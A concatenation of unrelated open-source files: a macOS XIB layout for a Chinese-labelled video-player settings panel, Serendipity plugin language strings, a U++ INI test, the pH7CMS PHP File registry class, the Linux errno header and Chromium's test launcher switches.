name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="0Dn-Op-TnG"> <rect key="frame" x="130" y="183" width="356" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="eVQ-5n-Slh"/> </constraints> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" drawsBackground="YES" id="MM8-94-ZCM"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="QHF-Xk-b6M"> <rect key="frame" x="130" y="123" width="356" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="rzu-i9-MLW"/> </constraints> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" drawsBackground="YES" id="8IG-zU-C0u"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="vGf-Ie-TbW"> <rect key="frame" x="8" y="333" width="114" height="20"/> <constraints> <constraint firstAttribute="width" constant="110" id="0f1-Kh-Ce4"/> <constraint firstAttribute="height" constant="20" id="TGD-j5-o8l"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="卡顿恢复" id="ani-DO-Xq2"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="H5L-5k-RL5"> <rect key="frame" x="8" y="363" width="114" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="UoM-Ma-3KG"/> <constraint firstAttribute="width" constant="110" id="gfB-P1-uYg"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="起播" id="8Bq-PQ-xDn"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="5sl-MS-FNp"> <rect key="frame" x="8" y="273" width="114" height="20"/> <constraints> <constraint firstAttribute="width" constant="110" id="4x0-tW-2Ey"/> <constraint firstAttribute="height" constant="20" id="j7P-Wu-aKl"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="直播最大延迟" id="iIr-lH-wRN"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="9PK-lc-Ich"> <rect key="frame" x="8" y="303" width="114" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="6gs-gF-Rhh"/> <constraint firstAttribute="width" constant="110" id="Lr8-HX-H9d"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="最大值" id="QzX-NU-14a"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="uqW-EF-fz1"> <rect key="frame" x="8" y="243" width="114" height="20"/> <constraints> <constraint firstAttribute="width" constant="110" id="5Wd-nt-s9C"/> <constraint firstAttribute="height" constant="20" id="aWG-1J-AoH"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="网络延时" id="nEa-jZ-ikh"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="67q-xf-xjN"> <rect key="frame" x="8" y="213" width="114" height="20"/> <constraints> <constraint firstAttribute="width" constant="110" id="Z3y-UP-lac"/> <constraint firstAttribute="height" constant="20" id="n9X-91-UOM"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="probe大小" id="vvl-Yq-KQv"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="s2b-R1-4LU"> <rect key="frame" x="8" y="123" width="114" height="20"/> <constraints> <constraint firstAttribute="width" constant="110" id="HrZ-jE-nUT"/> <constraint firstAttribute="height" constant="20" id="fUY-q6-eQn"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="httpProxy" id="ZEO-GG-T60"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="4t2-4d-mAj"> <rect key="frame" x="8" y="183" width="114" height="20"/> <constraints> <constraint firstAttribute="width" constant="110" id="40W-iO-BTw"/> <constraint firstAttribute="height" constant="20" id="B90-Hg-Dxj"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="请求refer" id="YXi-6o-bbB"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <button verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="Ixd-RE-geH"> <rect key="frame" x="128" y="60" width="64" height="24"/> <constraints> <constraint firstAttribute="width" constant="60" id="a3s-1a-lP8"/> <constraint firstAttribute="height" constant="20" id="yBB-z2-Tq3"/> </constraints> <buttonCell key="cell" type="check" bezelStyle="regularSquare" imagePosition="left" inset="2" id="gha-HN-uSm"> <behavior key="behavior" changeContents="YES" doesNotDimImage="YES" lightByContents="YES"/> <font key="font" metaFont="system"/> </buttonCell> <connections> <action selector="hideFrame:" target="-2" id="yw1-60-HyS"/> </connections> </button> <button verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="Gex-A6-b8D"> <rect key="frame" x="212" y="20" width="72" height="36"/> <constraints> <constraint firstAttribute="height" constant="25" id="avT-MN-W0d"/> <constraint firstAttribute="width" constant="60" id="vv6-Am-WaD"/> </constraints> <buttonCell key="cell" type="push" title="配置" bezelStyle="rounded" alignment="center" borderStyle="border" imageScaling="proportionallyDown" inset="2" id="sND-fT-hf7"> <behavior key="behavior" pushIn="YES" lightByBackground="YES" lightByGray="YES"/> <font key="font" metaFont="system"/> </buttonCell> <connections> <action selector="config:" target="-2" id="oQS-d5-cOW"/> </connections> </button> <button verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="3V7-N3-l2r"> <rect key="frame" x="431" y="393" width="55" height="30"/> <constraints> <constraint firstAttribute="height" constant="30" id="GIo-Tg-mEV"/> <constraint firstAttribute="width" constant="55" id="xGx-dL-vr4"/> </constraints> <buttonCell key="cell" type="bevel" title="关闭" bezelStyle="rounded" alignment="center" imageScaling="proportionallyDown" inset="2" id="nwe-ec-OXd"> <behavior key="behavior" pushIn="YES" lightByBackground="YES" lightByGray="YES"/> <font key="font" metaFont="system"/> </buttonCell> <connections> <action selector="closeConfigView:" target="-2" id="KY2-du-ijF"/> </connections> </button> <textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="V4F-1Q-P0T"> <rect key="frame" x="130" y="153" width="356" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="R6N-tl-Zbe"/> </constraints> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" drawsBackground="YES" id="CgK-fa-81a"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="SDs-dO-VML"> <rect key="frame" x="8" y="155" width="114" height="16"/> <constraints> <constraint firstAttribute="width" constant="110" id="u3v-yC-xOR"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="userAgent" id="hbQ-lD-hsZ"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="ZZU-Dx-hgA"> <rect key="frame" x="130" y="92" width="356" height="21"/> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" title="2" drawsBackground="YES" id="NpU-K1-fBO"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="XdN-39-X7I"> <rect key="frame" x="8" y="95" width="114" height="16"/> <constraints> <constraint firstAttribute="width" constant="110" id="ISq-3j-BoD"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="重试次数" id="YZR-77-L6S"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField horizontalHuggingPriority="251" verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="8U5-Ut-LIV"> <rect key="frame" x="8" y="60" width="114" height="20"/> <constraints> <constraint firstAttribute="width" constant="110" id="6qk-kh-7Wx"/> <constraint firstAttribute="height" constant="20" id="9bG-4Z-yUQ"/> </constraints> <textFieldCell key="cell" lineBreakMode="clipping" title="停止隐藏最后帧" id="49B-Tu-fm8"> <font key="font" metaFont="system"/> <color key="textColor" name="labelColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> </subviews> <constraints> <constraint firstItem="591-A2-nhy" firstAttribute="top" secondItem="eMD-2g-7b3" secondAttribute="top" constant="50" id="0YW-lp-7Rn"/> <constraint firstItem="kHA-HA-9zT" firstAttribute="leading" secondItem="67q-xf-xjN" secondAttribute="trailing" constant="10" id="1Kn-sD-PPJ"/> <constraint firstItem="5sl-MS-FNp" firstAttribute="top" secondItem="9PK-lc-Ich" secondAttribute="bottom" constant="10" id="2eI-ge-01i"/> <constraint firstItem="XdN-39-X7I" firstAttribute="centerY" secondItem="ZZU-Dx-hgA" secondAttribute="centerY" id="3xN-eD-86Z"/> <constraint firstItem="oJZ-kP-SBr" firstAttribute="leading" secondItem="uqW-EF-fz1" secondAttribute="trailing" constant="10" id="4Lc-Qx-au3"/> <constraint firstItem="Gex-A6-b8D" firstAttribute="centerX" secondItem="eMD-2g-7b3" secondAttribute="centerX" id="52U-II-wxv"/> <constraint firstItem="V4F-1Q-P0T" firstAttribute="top" secondItem="0Dn-Op-TnG" secondAttribute="bottom" constant="10" id="5RM-VC-qcc"/> <constraint firstItem="oJZ-kP-SBr" firstAttribute="top" secondItem="iB1-cO-jMA" secondAttribute="bottom" constant="10" id="5uT-Ve-t8f"/> <constraint firstItem="9PK-lc-Ich" firstAttribute="top" secondItem="vGf-Ie-TbW" secondAttribute="bottom" constant="10" id="AbM-Nw-28k"/> <constraint firstItem="uqW-EF-fz1" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="DA3-Wf-A4p"/> <constraint firstAttribute="trailing" secondItem="IjZ-kW-PAk" secondAttribute="trailing" constant="10" id="DPg-Kl-t4a"/> <constraint firstItem="Ixd-RE-geH" firstAttribute="top" secondItem="ZZU-Dx-hgA" secondAttribute="bottom" constant="10" id="DoM-Kh-0SV"/> <constraint firstItem="591-A2-nhy" firstAttribute="leading" secondItem="H5L-5k-RL5" secondAttribute="trailing" constant="10" id="EHH-OO-sho"/> <constraint firstItem="H5L-5k-RL5" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="EtS-Z1-LXX"/> <constraint firstAttribute="trailing" secondItem="kHA-HA-9zT" secondAttribute="trailing" constant="10" id="FUF-xO-7Pz"/> <constraint firstItem="SDs-dO-VML" firstAttribute="centerY" secondItem="V4F-1Q-P0T" secondAttribute="centerY" id="FsC-3W-xs8"/> <constraint firstItem="uqW-EF-fz1" firstAttribute="top" secondItem="5sl-MS-FNp" secondAttribute="bottom" constant="10" id="JAY-7Y-khK"/> <constraint firstAttribute="trailing" secondItem="V4F-1Q-P0T" secondAttribute="trailing" constant="10" id="MWN-D2-rFw"/> <constraint firstItem="4t2-4d-mAj" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="Mi5-0l-W5M"/> <constraint firstAttribute="trailing" secondItem="ZZU-Dx-hgA" secondAttribute="trailing" constant="10" id="Ojg-27-g4T"/> <constraint firstItem="ZZU-Dx-hgA" firstAttribute="top" secondItem="QHF-Xk-b6M" secondAttribute="bottom" constant="10" id="OvJ-W1-T5U"/> <constraint firstItem="5sl-MS-FNp" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="Oza-hy-fb4"/> <constraint firstItem="Ixd-RE-geH" firstAttribute="leading" secondItem="8U5-Ut-LIV" secondAttribute="trailing" constant="10" id="TE0-wn-eWy"/> <constraint firstItem="kHA-HA-9zT" firstAttribute="top" secondItem="oJZ-kP-SBr" secondAttribute="bottom" constant="10" id="TVX-YS-U6H"/> <constraint firstAttribute="trailing" secondItem="oJZ-kP-SBr" secondAttribute="trailing" constant="10" id="Tz0-BO-UN2"/> <constraint firstItem="0Dn-Op-TnG" firstAttribute="leading" secondItem="4t2-4d-mAj" secondAttribute="trailing" constant="10" id="UVD-kz-14H"/> <constraint firstItem="9PK-lc-Ich" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="VkY-MT-02A"/> <constraint firstItem="0Dn-Op-TnG" firstAttribute="top" secondItem="kHA-HA-9zT" secondAttribute="bottom" constant="10" id="WiM-6U-vWF"/> <constraint firstItem="67q-xf-xjN" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="XQf-8i-ZDf"/> <constraint firstItem="s2b-R1-4LU" firstAttribute="centerY" secondItem="QHF-Xk-b6M" secondAttribute="centerY" id="Zpe-mJ-O8t"/> <constraint firstItem="3V7-N3-l2r" firstAttribute="top" secondItem="eMD-2g-7b3" secondAttribute="top" constant="10" id="bBl-6U-MKr"/> <constraint firstItem="SDs-dO-VML" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="cu1-MG-djy"/> <constraint firstItem="Gex-A6-b8D" firstAttribute="top" secondItem="Ixd-RE-geH" secondAttribute="bottom" constant="10" id="d5V-go-tck"/> <constraint firstAttribute="trailing" secondItem="3V7-N3-l2r" secondAttribute="trailing" constant="10" id="dOZ-Ip-9oc"/> <constraint firstItem="XdN-39-X7I" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="eDh-W2-uCy"/> <constraint firstItem="H5L-5k-RL5" firstAttribute="top" secondItem="eMD-2g-7b3" secondAttribute="top" constant="50" id="f3Y-Xy-p9N"/> <constraint firstItem="QHF-Xk-b6M" firstAttribute="leading" secondItem="s2b-R1-4LU" secondAttribute="trailing" constant="10" id="ffz-sS-7NQ"/> <constraint firstItem="vGf-Ie-TbW" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="gfk-7X-6x8"/> <constraint firstItem="IjZ-kW-PAk" firstAttribute="top" secondItem="591-A2-nhy" secondAttribute="bottom" constant="10" id="iBf-iS-0Eg"/> <constraint firstItem="8U5-Ut-LIV" firstAttribute="centerY" secondItem="Ixd-RE-geH" secondAttribute="centerY" constant="2" id="jLM-KD-VyY"/> <constraint firstItem="67q-xf-xjN" firstAttribute="top" secondItem="uqW-EF-fz1" secondAttribute="bottom" constant="10" id="kKt-yw-YtQ"/> <constraint firstItem="V4F-1Q-P0T" firstAttribute="leading" secondItem="SDs-dO-VML" secondAttribute="trailing" constant="10" id="kP4-oO-zNr"/> <constraint firstItem="7fg-AY-RFz" firstAttribute="leading" secondItem="9PK-lc-Ich" secondAttribute="trailing" constant="10" id="lVP-UM-lh7"/> <constraint firstAttribute="trailing" secondItem="QHF-Xk-b6M" secondAttribute="trailing" constant="10" id="lsx-qf-Rkn"/> <constraint firstItem="QHF-Xk-b6M" firstAttribute="top" secondItem="V4F-1Q-P0T" secondAttribute="bottom" constant="10" id="nyj-g3-UVf"/> <constraint firstAttribute="trailing" secondItem="0Dn-Op-TnG" secondAttribute="trailing" constant="10" id="oZF-Wr-FAq"/> <constraint firstItem="8U5-Ut-LIV" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="pbX-se-D6m"/> <constraint firstItem="vGf-Ie-TbW" firstAttribute="top" secondItem="H5L-5k-RL5" secondAttribute="bottom" constant="10" id="pxP-QN-9XG"/> <constraint firstItem="iB1-cO-jMA" firstAttribute="top" secondItem="7fg-AY-RFz" secondAttribute="bottom" constant="10" id="q6B-W6-uIu"/> <constraint firstItem="s2b-R1-4LU" firstAttribute="leading" secondItem="eMD-2g-7b3" secondAttribute="leading" constant="10" id="rD2-sO-B2J"/> <constraint firstItem="4t2-4d-mAj" firstAttribute="top" secondItem="67q-xf-xjN" secondAttribute="bottom" constant="10" id="rF0-kF-K41"/> <constraint firstItem="IjZ-kW-PAk" firstAttribute="leading" secondItem="vGf-Ie-TbW" secondAttribute="trailing" constant="10" id="s47-ot-1pO"/> <constraint firstAttribute="trailing" secondItem="iB1-cO-jMA" secondAttribute="trailing" constant="10" id="tFM-Nw-8jd"/> <constraint firstAttribute="trailing" secondItem="591-A2-nhy" secondAttribute="trailing" constant="10" id="v7d-AV-Kx8"/> <constraint firstAttribute="trailing" secondItem="7fg-AY-RFz" secondAttribute="trailing" constant="10" id="vNs-q2-G8e"/> <constraint firstItem="7fg-AY-RFz" firstAttribute="top" secondItem="IjZ-kW-PAk" secondAttribute="bottom" constant="10" id="x6B-BL-8ZL"/> <constraint firstItem="iB1-cO-jMA" firstAttribute="leading" secondItem="5sl-MS-FNp" secondAttribute="trailing" constant="10" id="xPb-Kp-eKG"/> <constraint firstItem="ZZU-Dx-hgA" firstAttribute="leading" secondItem="XdN-39-X7I" secondAttribute="trailing" constant="10" id="xVu-gJ-OAT"/> </constraints> <point key="canvasLocation" x="-93" y="216"/> </customView> </objects> </document>
{ "pile_set_name": "Github" }
<?php ########################################################################## # Copyright (c) 2003-2005, Jannis Hermanns (on behalf the Serendipity # # Developer Team) All rights reserved. See LICENSE file for licensing # # details # # # # (c) 2003 Jannis Hermanns <J@hacked.it> # # http://www.jannis.to/programming/serendipity.html # # # # Translated by # # (c) 2004-2005 CapriSkye <admin@capriskye.com> # # http://open.38.com # ########################################################################## @define('PLUGIN_COMMENTS_BLAHBLAH', '顯示最新的迴響'); @define('PLUGIN_COMMENTS_WORDWRAP', '自動換行'); @define('PLUGIN_COMMENTS_WORDWRAP_BLAHBLAH', '要多少字之後自動換行?(預設:30)'); @define('PLUGIN_COMMENTS_MAXCHARS', '顯示長度'); @define('PLUGIN_COMMENTS_MAXCHARS_BLAHBLAH', '每個迴響要顯示多少個字?(預設:120)'); @define('PLUGIN_COMMENTS_MAXENTRIES', '迴響數量'); @define('PLUGIN_COMMENTS_MAXENTRIES_BLAHBLAH', '要顯示多少個迴響?(預設:15)'); @define('PLUGIN_COMMENTS_ABOUT', '%s 發佈於 %s');
{ "pile_set_name": "Github" }
#include <Core/Core.h> using namespace Upp; CONSOLE_APP_MAIN { StdLogSetup(LOG_COUT|LOG_FILE); DUMP(Environment()); VectorMap<String, String> map = LoadIniFile(GetDataFile("test.ini")); DDUMPM(map); const Tuple2<String, String> et[] = { { "alfa", "alfa_value" }, { "_beta", "beta_value" }, { "gamma", "gamma_value" }, { "test", "//TEST" }, { "included", "included_value" }, { "delta", "delta_value" }, { "etest", GetEnv("UPP_MAIN__") }, { "braces", GetEnv("UPP_MAIN__")+"123" }, { "var", "file://" + GetEnv("UPP_MAIN__") }, }; ASSERT(map.GetCount() == __countof(et)); for(int i = 0; i < map.GetCount(); i++) { LOG(map.GetKey(i) << " :: " << et[i].a); ASSERT(map.GetKey(i) == et[i].a); LOG(map[i] << " :: " << et[i].b); ASSERT(map[i] == et[i].b); } LOG("=========== OK"); }
{ "pile_set_name": "Github" }
1 3 3 invalid token near '1.'
{ "pile_set_name": "Github" }
<?php /** * @title File Class * @desc Handle File Registry Class. * * @author Pierre-Henry Soria <hello@ph7cms.com> * @copyright (c) 2012-2019, Pierre-Henry Soria. All Rights Reserved. * @license GNU General Public License; See PH7.LICENSE.txt and PH7.COPYRIGHT.txt in the root directory. * @package PH7 / Framework / Registry * @version 0.9 */ namespace PH7\Framework\Registry; defined('PH7') or exit('Restricted access'); /** * @abstract */ abstract class File implements \Serializable { /** @var string */ private $sPath; /** @var resource|null */ private $rFile = null; public function __construct() { $this->sPath = PH7_PATH_TMP . 'hashList.tmp'; $this->open(); } /** * @param mixed $mData * * @return string Returns a string containing a byte-stream representation of the value. */ public function serialize($mData) { return serialize($mData); } /** * @param string $sData * * @return string Returns the converted value if successful otherwise returns false. */ public function unserialize($sData) { return unserialize($sData); } /** * @return void */ public function __sleep() { $this->close(); } /** * @return void */ public function __wakeup() { $this->close(); } /** * @return string|boolean Returns the read string or FALSE on failure. */ public function read() { rewind($this->rFile); return fread($this->rFile, filesize($this->sPath)); } /** * @param string $sData * * @return void */ public function write($sData) { fwrite($this->rFile, $sData); } /** * @return void */ private function open() { $this->rFile = fopen($this->sPath, 'wb+'); } /** * @return boolean */ private function close() { if (null === $this->rFile) { return false; } fclose($this->rFile); $this->rFile = null; return true; } public function __destruct() { if (null !== $this->rFile) { $this->close(); } } }
{ "pile_set_name": "Github" }
package chrootarchive // import "github.com/docker/docker/pkg/chrootarchive" func init() { }
{ "pile_set_name": "Github" }
/* This file is part of Darling. Copyright (C) 2017 Lubos Dolezel Darling is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Darling is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Darling. If not, see <http://www.gnu.org/licenses/>. */ #include <Foundation/Foundation.h> @interface CNContactKeyVector : NSObject @end
{ "pile_set_name": "Github" }
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ #ifndef _ASM_GENERIC_ERRNO_BASE_H #define _ASM_GENERIC_ERRNO_BASE_H #define EPERM 1 /* Operation not permitted */ #define ENOENT 2 /* No such file or directory */ #define ESRCH 3 /* No such process */ #define EINTR 4 /* Interrupted system call */ #define EIO 5 /* I/O error */ #define ENXIO 6 /* No such device or address */ #define E2BIG 7 /* Argument list too long */ #define ENOEXEC 8 /* Exec format error */ #define EBADF 9 /* Bad file number */ #define ECHILD 10 /* No child processes */ #define EAGAIN 11 /* Try again */ #define ENOMEM 12 /* Out of memory */ #define EACCES 13 /* Permission denied */ #define EFAULT 14 /* Bad address */ #define ENOTBLK 15 /* Block device required */ #define EBUSY 16 /* Device or resource busy */ #define EEXIST 17 /* File exists */ #define EXDEV 18 /* Cross-device link */ #define ENODEV 19 /* No such device */ #define ENOTDIR 20 /* Not a directory */ #define EISDIR 21 /* Is a directory */ #define EINVAL 22 /* Invalid argument */ #define ENFILE 23 /* File table overflow */ #define EMFILE 24 /* Too many open files */ #define ENOTTY 25 /* Not a typewriter */ #define ETXTBSY 26 /* Text file busy */ #define EFBIG 27 /* File too large */ #define ENOSPC 28 /* No space left on device */ #define ESPIPE 29 /* Illegal seek */ #define EROFS 30 /* Read-only file system */ #define EMLINK 31 /* Too many links */ #define EPIPE 32 /* Broken pipe */ #define EDOM 33 /* Math argument out of domain of func */ #define ERANGE 34 /* Math result not representable */ #endif
{ "pile_set_name": "Github" }
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/test/test_switches.h" // Flag to show the help message. const char switches::kHelpFlag[] = "help"; // Flag to run all tests and the launcher in a single process. Useful for // debugging a specific test in a debugger. const char switches::kSingleProcessTests[] = "single-process-tests"; // Maximum number of tests to run in a single batch. const char switches::kTestLauncherBatchLimit[] = "test-launcher-batch-limit"; // Sets defaults desirable for the continuous integration bots, e.g. parallel // test execution and test retries. const char switches::kTestLauncherBotMode[] = "test-launcher-bot-mode"; // Makes it possible to debug the launcher itself. By default the launcher // automatically switches to single process mode when it detects presence // of debugger. const char switches::kTestLauncherDebugLauncher[] = "test-launcher-debug-launcher"; // Force running all requested tests and retries even if too many test errors // occur. const char switches::kTestLauncherForceRunBrokenTests[] = "test-launcher-force-run-broken-tests"; // List of paths to files (separated by ';') containing test filters (one // pattern per line). const char switches::kTestLauncherFilterFile[] = "test-launcher-filter-file"; // Whether the test launcher should launch in "interactive mode", which disables // timeouts (and may have other effects for specific test types). const char switches::kTestLauncherInteractive[] = "test-launcher-interactive"; // Number of parallel test launcher jobs. const char switches::kTestLauncherJobs[] = "test-launcher-jobs"; // Path to list of compiled in tests. const char switches::kTestLauncherListTests[] = "test-launcher-list-tests"; // Path to test results file in our custom test launcher format. const char switches::kTestLauncherOutput[] = "test-launcher-output"; // These two flags has the same effect, but don't use them at the same time. // And isolated-script-test-launcher-retry-limit is preferred in the future. // Maximum number of times to retry a test after failure. const char switches::kTestLauncherRetryLimit[] = "test-launcher-retry-limit"; const char switches::kIsolatedScriptTestLauncherRetryLimit[] = "isolated-script-test-launcher-retry-limit"; // Path to test results file with all the info from the test launcher. const char switches::kTestLauncherSummaryOutput[] = "test-launcher-summary-output"; // Causes the test launcher to print information about leaked files and/or // directories in child process's temporary directories. const char switches::kTestLauncherPrintTempLeaks[] = "test-launcher-print-temp-leaks"; // Flag controlling when test stdio is displayed as part of the launcher's // standard output. const char switches::kTestLauncherPrintTestStdio[] = "test-launcher-print-test-stdio"; // Print a writable path and exit (for internal use). const char switches::kTestLauncherPrintWritablePath[] = "test-launcher-print-writable-path"; // Index of the test shard to run, starting from 0 (first shard) to total shards // minus one (last shard). const char switches::kTestLauncherShardIndex[] = "test-launcher-shard-index"; // Limit of test part results in the output. Default limit is 10. // Negative value will completely disable limit. const char switches::kTestLauncherTestPartResultsLimit[] = "test-launcher-test-part-results-limit"; // Total number of shards. Must be the same for all shards. const char switches::kTestLauncherTotalShards[] = "test-launcher-total-shards"; // Time (in milliseconds) that the tests should wait before timing out. const char switches::kTestLauncherTimeout[] = "test-launcher-timeout"; // Path where to save a trace of test launcher's execution. const char switches::kTestLauncherTrace[] = "test-launcher-trace"; // TODO(phajdan.jr): Clean up the switch names. const char switches::kTestTinyTimeout[] = "test-tiny-timeout"; const char switches::kUiTestActionTimeout[] = "ui-test-action-timeout"; const char switches::kUiTestActionMaxTimeout[] = "ui-test-action-max-timeout"; #if defined(OS_IOS) // If enabled, runs unittests using the XCTest test runner. const char switches::kEnableRunIOSUnittestsWithXCTest[] = "enable-run-ios-unittests-with-xctest"; // Write a compiled test json file to a location where writable. const char switches::kWriteCompiledTestsJsonToWritablePath[] = "write-compiled-tests-json-to-writable-path"; #endif
{ "pile_set_name": "Github" }
